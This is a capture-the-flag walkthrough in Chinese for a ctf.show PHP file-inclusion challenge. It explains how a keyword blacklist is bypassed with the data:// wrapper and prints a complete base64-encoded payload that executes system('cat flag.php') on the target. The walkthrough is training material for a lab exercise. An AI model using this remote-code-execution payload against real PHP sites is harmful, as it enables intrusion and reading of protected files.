ctf show web 入门38

打开靶场这道题目是之前那道题的进阶版。核心考点依然是 PHP 本地文件包含(LFI),但过滤规则显著增强了。

  1. 源码审计(核心变化)
    对比之前的题目,这次的正则表达式发生了变化:
    if(!preg_match("/flag|php|file/i", $c))
    新增黑名单:除了 flag,现在还过滤了 php 和 file。
    影响:
    你不能直接输入 flag.php(含有 flag 和 php)。
    你不能使用 php://filter(含有 php)。
    你不能使用 php://input(含有 php)。
  2. 解题思路:寻找"漏网之鱼"
    既然 php 和 file 被封杀了,我们需要寻找不需要这两个关键字的伪协议。
    所以我们可以继续使用 data:// 协议
    检查 data:// 协议本身:它不包含 php 或 file 关键字
    所以可以继续使用 Base64 编码来隐藏你的命令。
    代码:<?php system('cat flag.php');?>
    Base64 编码:PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
    最终 Payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
    发现页面没有回显是=说明代码执行成功我们产看源代码得到flag
相关推荐
_Narcissus_19 小时前
B树概念及操作笔记(含完整代码实现)
c语言·数据结构·数据库·c++·笔记·b树·算法
sunoo-22919 小时前
【C 语言标准 IO 入门】第二天学习笔记:文件操作核心函数 + 实战案例 + 踩坑合集
linux·笔记·vscode·学习
疯狂打码的少年19 小时前
【数据结构】图的应用:最短路径(Dijkstra / Floyd)
数据结构·笔记·算法
Wang's Blog20 小时前
PostgreSQL笔记29:事务隔离级别深度解析——从MVCC快照到SSI可串行化
数据库·笔记·postgresql
Fa_Mian_Tuan20 小时前
图论基础 | 邻接多重表原理剖析 + 完整可运行C语言代码(插边/删边/释放)
c语言·数据结构·笔记·算法·图论
Eloudy20 小时前
Ubuntu 22.04 从源码编译安装 ROS 2 Jazzy 笔记
linux·笔记·ubuntu
_Narcissus_20 小时前
B+树的概念和操作笔记(含完整代码实现)
c语言·数据结构·数据库·c++·笔记·b树·算法
Wang's Blog20 小时前
PostgreSQL笔记33: 索引底层原理、扫描类型与属性体系深度解析
数据库·笔记·postgresql
是上好佳佳佳呀20 小时前
【深度学习|DAY05】卷积神经网络深度学习笔记
笔记·深度学习·cnn
蒸蒸yyyyzwd20 小时前
cpp 选手备战秋招学习笔记 day11
redis·笔记·求职招聘